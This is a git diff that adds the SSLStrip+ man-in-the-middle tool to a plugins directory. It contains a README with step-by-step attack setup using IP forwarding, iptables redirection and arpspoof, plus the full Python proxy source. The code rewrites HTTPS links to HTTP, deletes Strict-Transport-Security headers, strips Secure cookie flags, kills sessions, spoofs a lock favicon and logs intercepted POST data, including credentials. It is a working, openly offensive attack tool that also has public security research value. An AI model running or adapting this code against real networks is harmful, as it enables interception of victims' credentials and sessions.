b/plugins/external/sslstrip-hsts/sslstrip2/README @@ -0,0 +1,32 @@ +sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping +attacks. + +It requires Python 2.5 or newer, along with the 'twisted' python module. + +Installing: + * Unpack: tar zxvf sslstrip-0.5.tar.gz + * Install twisted: sudo apt-get install python-twisted-web + * (Optionally) run 'python setup.py install' as root to install, + or you can just run it out of the directory. + +Running: + sslstrip can be run from the source base without installation. + Just run 'python sslstrip.py -h' as a non-root user to get the + command-line options. + + The four steps to getting this working (assuming you're running Linux) + are: + + 1) Flip your machine into forwarding mode (as root): + echo "1" > /proc/sys/net/ipv4/ip_forward + + 2) Setup iptables to intercept HTTP requests (as root): + iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port + + 3) Run sslstrip with the command-line options you'd like (see above). + + 4) Run arpspoof to redirect traffic to your machine (as root): + arpspoof -i -t + +More Info: + http://www.thoughtcrime.org/software/sslstrip/ diff --git a/plugins/external/sslstrip-hsts/sslstrip2/README.md b/plugins/external/sslstrip-hsts/sslstrip2/README.md new file mode 100644 index 0000000..35f766e --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/README.md @@ -0,0 +1,11 @@ +SSLStrip+ +========= + +This is a new version of [Moxie´s SSLstrip] (http://www.thoughtcrime.org/software/sslstrip/) with the new feature to avoid HTTP Strict Transport Security (HSTS) protection mechanism. + +This version changes HTTPS to HTTP as the original one plus the hostname at html code to avoid HSTS. Check my slides at BlackHat ASIA 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) for more information. + +For this to work you also need a DNS server that reverse the changes made by the proxy, you can find it at https://github.com/LeonardoNve/dns2proxy. + + +Demo video at: http://www.youtube.com/watch?v=uGBjxfizy48 diff --git a/plugins/external/sslstrip-hsts/sslstrip2/credentials.txt b/plugins/external/sslstrip-hsts/sslstrip2/credentials.txt new file mode 100644 index 0000000..e69de29 diff --git a/plugins/external/sslstrip-hsts/sslstrip2/lock.ico b/plugins/external/sslstrip-hsts/sslstrip2/lock.ico new file mode 100644 index 0000000..b94e360 Binary files /dev/null and b/plugins/external/sslstrip-hsts/sslstrip2/lock.ico differ diff --git a/plugins/external/sslstrip-hsts/sslstrip2/setup.py b/plugins/external/sslstrip-hsts/sslstrip2/setup.py new file mode 100644 index 0000000..fc532fa --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/setup.py @@ -0,0 +1,55 @@ +import sys, os, shutil +from distutils.core import setup, Extension + + +shutil.copyfile("sslstrip.py", "sslstrip/sslstrip") + +setup (name = 'sslstrip', + version = '0.9', + description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.', + author = 'Moxie Marlinspike', + author_email = 'moxie@thoughtcrime.org', + url = 'http://www.thoughtcrime.org/software/sslstrip/', + license = 'GPL', + packages = ["sslstrip"], + package_dir = {'sslstrip' : 'sslstrip/'}, + scripts = ['sslstrip/sslstrip'], + data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])], + ) + +print "Cleaning up..." +try: + removeall("build/") + os.rmdir("build/") +except: + pass + +try: + os.remove("sslstrip/sslstrip") +except: + pass + +def capture(cmd): + return os.popen(cmd).read().strip() + +def removeall(path): + if not os.path.isdir(path): + return + + files=os.listdir(path) + + for x in files: + fullpath=os.path.join(path, x) + if os.path.isfile(fullpath): + f=os.remove + rmgeneric(fullpath, f) + elif os.path.isdir(fullpath): + removeall(fullpath) + f=os.rmdir + rmgeneric(fullpath, f) + +def rmgeneric(path, __func__): + try: + __func__(path) + except OSError, (errno, strerror): + pass diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip.py new file mode 100755 index 0000000..2860e81 --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python + +"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" + +__author__ = "Moxie Marlinspike && Version + by Leonardo Nve" +__email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com" +__license__= """ +Copyright (c) 2004-2009 Moxie Marlinspike + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License as +published by the Free Software Foundation; either version 3 of the +License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +USA + +""" + +from twisted.web import http +from twisted.internet import reactor + +from sslstrip.StrippingProxy import StrippingProxy +from sslstrip.URLMonitor import URLMonitor +from sslstrip.CookieCleaner import CookieCleaner + +import sys, getopt, logging, traceback, string, os + +gVersion = "0.9 +" + +def usage(): + print "\nsslstrip " + gVersion + " by Moxie Marlinspike" + print "Version + by Leonardo Nve" + print "Usage: sslstrip \n" + print "Options:" + print "-w , --write= Specify file to log to (optional)." + print "-p , --post Log only SSL POSTs. (default)" + print "-s , --ssl Log all SSL traffic to and from server." + print "-a , --all Log all SSL and HTTP traffic to and from server." + print "-l , --listen= Port to listen on (default 10000)." + print "-f , --favicon Substitute a lock favicon on secure requests." + print "-k , --killsessions Kill sessions in progress." + print "-h Print this help message." + print "" + +def parseOptions(argv): + logFile = 'sslstrip.log' + logLevel = logging.WARNING + listenPort = 10000 + spoofFavicon = False + killSessions = False + + try: + opts, args = getopt.getopt(argv, "hw:l:psafk", + ["help", "write=", "post", "ssl", "all", "listen=", + "favicon", "killsessions"]) + + for opt, arg in opts: + if opt in ("-h", "--help"): + usage() + sys.exit() + elif opt in ("-w", "--write"): + logFile = arg + elif opt in ("-p", "--post"): + logLevel = logging.WARNING + elif opt in ("-s", "--ssl"): + logLevel = logging.INFO + elif opt in ("-a", "--all"): + logLevel = logging.DEBUG + elif opt in ("-l", "--listen"): + listenPort = arg + elif opt in ("-f", "--favicon"): + spoofFavicon = True + elif opt in ("-k", "--killsessions"): + killSessions = True + + return (logFile, logLevel, listenPort, spoofFavicon, killSessions) + + except getopt.GetoptError: + usage() + sys.exit(2) + +def main(argv): + (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) + + logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', + filename=logFile, filemode='w') + + URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) + CookieCleaner.getInstance().setEnabled(killSessions) + + strippingFactory = http.HTTPFactory(timeout=10) + strippingFactory.protocol = StrippingProxy + + reactor.listenTCP(int(listenPort), strippingFactory) + + print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." + print "+ POC by Leonardo Nve" + + reactor.run() + +if __name__ == '__main__': + main(sys.argv[1:]) diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ClientRequest.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ClientRequest.py new file mode 100644 index 0000000..0695ae5 --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ClientRequest.py @@ -0,0 +1,205 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import urlparse, logging, os, sys, random, re + +from twisted.web.http import Request +from twisted.web.http import HTTPChannel +from twisted.web.http import HTTPClient + +from twisted.internet import ssl +from twisted.internet import defer +from twisted.internet import reactor +from twisted.internet.protocol import ClientFactory + +from ServerConnectionFactory import ServerConnectionFactory +from ServerConnection import ServerConnection +from SSLServerConnection import SSLServerConnection +from URLMonitor import URLMonitor +from CookieCleaner import CookieCleaner +from DnsCache import DnsCache + +def NUEVO_LOG(str): + return + +class ClientRequest(Request): + + ''' This class represents incoming client requests and is essentially where + the magic begins. Here we remove the client headers we dont like, and then + respond with either favicon spoofing, session denial, or proxy through HTTP + or SSL to the server. + ''' + + def __init__(self, channel, queued, reactor=reactor): + Request.__init__(self, channel, queued) + self.reactor = reactor + self.urlMonitor = URLMonitor.getInstance() + self.cookieCleaner = CookieCleaner.getInstance() + self.dnsCache = DnsCache.getInstance() +# self.uniqueId = random.randint(0, 10000) + + def cleanHeaders(self): + headers = self.getAllHeaders().copy() + if 'accept-encoding' in headers: + del headers['accept-encoding'] + + if 'referer' in headers: + real = self.urlMonitor.real + if len(real)>0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) + + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + if 'cache-control' in headers: + del headers['cache-control'] + + if 'if-none-match' in headers: + del headers['if-none-match'] + + if 'host' in headers: + host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) + logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) + headers['host'] = host + #headers['securelink'] = '1' + self.setHeader('Host',host) + + return headers + + def getPathFromUri(self): + if (self.uri.find("http://") == 0): + index = self.uri.find('/', 7) + return self.uri[index:] + + return self.uri + + + def getPathToLockIcon(self): + if os.path.exists("lock.ico"): return "lock.ico" + + scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) + scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") + + if os.path.exists(scriptPath): return scriptPath + + logging.warning("Error: Could not find lock.ico") + return "lock.ico" + + def save_req(self,lfile,str): + f = open(lfile,"a") + f.write(str) + f.close() + + def handleHostResolvedSuccess(self, address): + headers = self.cleanHeaders() +# for header in headers: +# logging.debug("HEADER %s = %s",header,headers[header]) + logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) + lhost = self.getHeader("host").lower() + host = self.urlMonitor.URLgetRealHost("%s"%lhost) + client = self.getClientIP() + path = self.getPathFromUri() + self.content.seek(0,0) + postData = self.content.read() + real = self.urlMonitor.real + patchDict = self.urlMonitor.patchDict + + if len(real)>0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) + postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) + if len(patchDict)>0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) + postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) + + url = 'http://' + host + path + headers['content-length']="%d"%len(postData) + + self.dnsCache.cacheResolution(host, address) + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + logging.debug("Sending expired cookies...") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, + host, headers, path)) + elif (self.urlMonitor.isSecureFavicon(client, path)): + logging.debug("Sending spoofed favicon response...") + self.sendSpoofedFaviconResponse() + elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): + if 'securelink' in headers: + del headers['securelink'] + logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) + self.proxyViaSSL(address, self.method, path, postData, headers, + self.urlMonitor.getSecurePort(client, url)) + else: + logging.debug("LEO Sending request via HTTP...") + self.proxyViaHTTP(address, self.method, path, postData, headers) + + def handleHostResolvedError(self, error): + logging.warning("Host resolution error: " + str(error)) + self.finish() + + def resolveHost(self, host): + address = self.dnsCache.getCachedAddress(host) + + if address != None: + logging.debug("Host cached.") + return defer.succeed(address) + else: + logging.debug("Host not cached.") + return reactor.resolve(host) + + def process(self): + host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) + logging.debug("Resolving host: %s" % host) + deferred = self.resolveHost(host) + + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) + + def proxyViaHTTP(self, host, method, path, postData, headers): + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') + connectionFactory.protocol = ServerConnection + self.reactor.connectTCP(host, 80, connectionFactory) + + def proxyViaSSL(self, host, method, path, postData, headers, port): + self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = SSLServerConnection + self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) + + def sendExpiredCookies(self, host, path, expireHeaders): + self.setResponseCode(302, "Moved") + self.setHeader("Connection", "close") + self.setHeader("Location", "http://" + host + path) + + for header in expireHeaders: + self.setHeader("Set-Cookie", header) + + self.finish() + + def sendSpoofedFaviconResponse(self): + icoFile = open(self.getPathToLockIcon()) + + self.setResponseCode(200, "OK") + self.setHeader("Content-type", "image/x-icon") + self.write(icoFile.read()) + + icoFile.close() + self.finish() diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/CookieCleaner.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/CookieCleaner.py new file mode 100644 index 0000000..591584a --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/CookieCleaner.py @@ -0,0 +1,106 @@ +# Copyright (c) 2004-2011 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import string + +class CookieCleaner: + '''This class cleans cookies we haven't seen before. The basic idea is to + kill sessions, which isn't entirely straight-forward. Since we want this to + be generalized, there's no way for us to know exactly what cookie we're trying + to kill, which also means we don't know what domain or path it has been set for. + + The rule with cookies is that specific overrides general. So cookies that are + set for mail.foo.com override cookies with the same name that are set for .foo.com, + just as cookies that are set for foo.com/mail override cookies with the same name + that are set for foo.com/ + + The best we can do is guess, so we just try to cover our bases by expiring cookies + in a few different ways. The most obvious thing to do is look for individual cookies + and nail the ones we haven't seen coming from the server, but the problem is that cookies are often + set by Javascript instead of a Set-Cookie header, and if we block those the site + will think cookies are disabled in the browser. So we do the expirations and whitlisting + based on client,server tuples. The first time a client hits a server, we kill whatever + cookies we see then. After that, we just let them through. Not perfect, but pretty effective. + + ''' + + _instance = None + + def getInstance(): + if CookieCleaner._instance == None: + CookieCleaner._instance = CookieCleaner() + + return CookieCleaner._instance + + getInstance = staticmethod(getInstance) + + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + def setEnabled(self, enabled): + self.enabled = enabled + + def isClean(self, method, client, host, headers): + if method == "POST": return True + if not self.enabled: return True + if not self.hasCookies(headers): return True + + return (client, self.getDomainFor(host)) in self.cleanedCookies + + def getExpireHeaders(self, method, client, host, headers, path): + domain = self.getDomainFor(host) + self.cleanedCookies.add((client, domain)) + + expireHeaders = [] + + for cookie in headers['cookie'].split(";"): + cookie = cookie.split("=")[0].strip() + expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) + expireHeaders.extend(expireHeadersForCookie) + + return expireHeaders + + def hasCookies(self, headers): + return 'cookie' in headers + + def getDomainFor(self, host): + hostParts = host.split(".") + return "." + hostParts[-2] + "." + hostParts[-1] + + def getExpireCookieStringFor(self, cookie, host, domain, path): + pathList = path.split("/") + expireStrings = list() + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + if len(pathList) > 2: + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + return expireStrings + + diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/DnsCache.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/DnsCache.py new file mode 100644 index 0000000..91931a4 --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/DnsCache.py @@ -0,0 +1,28 @@ + +class DnsCache: + + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' + + _instance = None + + def __init__(self): + self.cache = {} + + def cacheResolution(self, host, address): + self.cache[host] = address + + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] + + return None + + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + + getInstance = staticmethod(getInstance) diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/SSLServerConnection.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/SSLServerConnection.py new file mode 100644 index 0000000..b765ce4 --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/SSLServerConnection.py @@ -0,0 +1,121 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, re, string + +from ServerConnection import ServerConnection + +class SSLServerConnection(ServerConnection): + + ''' + For SSL connections to a server, we need to do some additional stripping. First we need + to make note of any relative links, as the server will be expecting those to be requested + via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. + ''' + + cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) + cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) + iconExpression = re.compile(r"", re.IGNORECASE) + linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) + headExpression = re.compile(r"", re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + ServerConnection.__init__(self, command, uri, postData, headers, client) + + def getLogLevel(self): + return logging.INFO + + def getPostPrefix(self): + return "SECURE POST" + + def handleHeader(self, key, value): + if (key.lower() == 'set-cookie'): + newvalues =[] + value = SSLServerConnection.cookieExpression.sub("\g<1>", value) + values = value.split(';') + for v in values: + if v[:7].lower()==' domain': + dominio=v.split("=")[1] + logging.debug("LEO Parsing cookie domain parameter: %s"%v) + real = self.urlMonitor.sustitucion + if dominio in real: + v=" Domain=%s"%real[dominio] + logging.debug("LEO New cookie domain parameter: %s"%v) + newvalues.append(v) + value = ';'.join(newvalues) + + if (key.lower() == 'access-control-allow-origin'): + value='*' + + ServerConnection.handleHeader(self, key, value) + + def stripFileFromPath(self, path): + (strippedPath, lastSlash, file) = path.rpartition('/') + return strippedPath + + def buildAbsoluteLink(self, link): + absoluteLink = "" + + if ((not link.startswith('http')) and (not link.startswith('/'))): + absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link + + logging.debug("Found path-relative link in secure transmission: " + link) + logging.debug("New Absolute path-relative link: " + absoluteLink) + elif not link.startswith('http'): + absoluteLink = "http://"+self.headers['host']+link + + logging.debug("Found relative link in secure transmission: " + link) + logging.debug("New Absolute link: " + absoluteLink) + + if not absoluteLink == "": + absoluteLink = absoluteLink.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); + + def replaceCssLinks(self, data): + iterator = re.finditer(SSLServerConnection.cssExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(1)) + + return data + + def replaceFavicon(self, data): + match = re.search(SSLServerConnection.iconExpression, data) + + if (match != None): + data = re.sub(SSLServerConnection.iconExpression, + "", data) + else: + data = re.sub(SSLServerConnection.headExpression, + "", data) + + return data + + def replaceSecureLinks(self, data): + data = ServerConnection.replaceSecureLinks(self, data) + data = self.replaceCssLinks(data) + + if (self.urlMonitor.isFaviconSpoofing()): + data = self.replaceFavicon(data) + + iterator = re.finditer(SSLServerConnection.linkExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(10)) + + return data diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ServerConnection.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ServerConnection.py new file mode 100644 index 0000000..a7be05e --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ServerConnection.py @@ -0,0 +1,184 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, re, string, random, zlib, gzip, StringIO + +from twisted.web.http import HTTPClient +from URLMonitor import URLMonitor + +class ServerConnection(HTTPClient): + + ''' The server connection is where we do the bulk of the stripping. Everything that + comes back is examined. The headers we dont like are removed, and the links are stripped + from HTTPS to HTTP. + ''' + + urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) + urlType = re.compile(r"https://", re.IGNORECASE) + urlTypewww = re.compile(r"https://www", re.IGNORECASE) + urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) + urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) +# urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + self.urlMonitor = URLMonitor.getInstance() + self.isImageRequest = False + self.isCompressed = False + self.contentLength = None + self.shutdownComplete = False + + def getLogLevel(self): + return logging.DEBUG + + def getPostPrefix(self): + return "POST" + + def sendRequest(self): + logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) + self.sendCommand(self.command, self.uri) + + def sendHeaders(self): + for header, value in self.headers.items(): + logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) + self.sendHeader(header, value) + + self.endHeaders() + + def sendPostData(self): + logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) + self.transport.write(self.postData) + + def connectionMade(self): + logging.log(self.getLogLevel(), "HTTP connection made.") + self.sendRequest() + self.sendHeaders() + + if (self.command == 'POST'): + self.sendPostData() + + def handleStatus(self, version, code, message): + logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) + self.client.setResponseCode(int(code), message) + + def handleHeader(self, key, value): + logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) + + if (key.lower() == 'location'): + value = self.replaceSecureLinks(value) + + if (key.lower() == 'content-type'): + if (value.find('image') != -1): + self.isImageRequest = True + logging.debug("Response is image content, not scanning...") + + if (key.lower() == 'content-encoding'): + if (value.find('gzip') != -1): + logging.debug("Response is compressed...") + self.isCompressed = True + elif (key.lower() == 'content-length'): + self.contentLength = value + elif (key.lower() == 'set-cookie'): + self.client.responseHeaders.addRawHeader(key, value) + elif (key.lower()== 'strict-transport-security'): + logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") + else: + self.client.setHeader(key, value) + + + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + + def handleResponsePart(self, data): + if (self.isImageRequest): + self.client.write(data) + else: + HTTPClient.handleResponsePart(self, data) + + def handleResponseEnd(self): + if (self.isImageRequest): + self.shutdown() + else: + HTTPClient.handleResponseEnd(self) + + def handleResponse(self, data): + if (self.isCompressed): + logging.debug("Decompressing content...") + data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() + + logging.log(self.getLogLevel(), "Read from server:\n" + data) + #logging.log(self.getLogLevel(), "Read from server:\n " ) + + + data = self.replaceSecureLinks(data) + + if (self.contentLength != None): + self.client.setHeader('Content-Length', len(data)) + + self.client.write(data) + self.shutdown() + + def replaceSecureLinks(self, data): + sustitucion = {} + patchDict = self.urlMonitor.patchDict + if len(patchDict)>0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) + data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) + + iterator = re.finditer(ServerConnection.urlExpression, data) + for match in iterator: + url = match.group() + + logging.debug("Found secure reference: " + url) + nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) + sustitucion[url] = nuevaurl + #data.replace(url,nuevaurl) + + #data = self.urlMonitor.DataReemplazo(data) + if len(sustitucion)>0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) + data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) + + #logging.debug("LEO DEBUG received data:\n"+data) + #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) + #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) + #if data.find("http://w.face")!=-1: + # logging.debug("LEO DEBUG Found error in modifications") + # raw_input("Press Enter to continue") + #return re.sub(ServerConnection.urlType, 'http://web.', data) + return data + + + def shutdown(self): + if not self.shutdownComplete: + self.shutdownComplete = True + self.client.finish() + self.transport.loseConnection() + + diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ServerConnectionFactory.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ServerConnectionFactory.py new file mode 100644 index 0000000..793bdc6 --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/ServerConnectionFactory.py @@ -0,0 +1,44 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +from twisted.internet.protocol import ClientFactory + +class ServerConnectionFactory(ClientFactory): + + def __init__(self, command, uri, postData, headers, client): + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + + def buildProtocol(self, addr): + return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) + + def clientConnectionFailed(self, connector, reason): + logging.debug("Server connection failed.") + + destination = connector.getDestination() + + if (destination.port != 443): + logging.debug("Retrying via SSL") + self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) + else: + self.client.finish() + diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/StrippingProxy.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/StrippingProxy.py new file mode 100644 index 0000000..f4c1e89 --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/StrippingProxy.py @@ -0,0 +1,29 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from twisted.web.http import HTTPChannel +from ClientRequest import ClientRequest + +class StrippingProxy(HTTPChannel): + '''sslstrip is, at heart, a transparent proxy server that does some unusual things. + This is the basic proxy server class, where we get callbacks for GET and POST methods. + We then proxy these out using HTTP or HTTPS depending on what information we have about + the (connection, client_address) tuple in our cache. + ''' + + 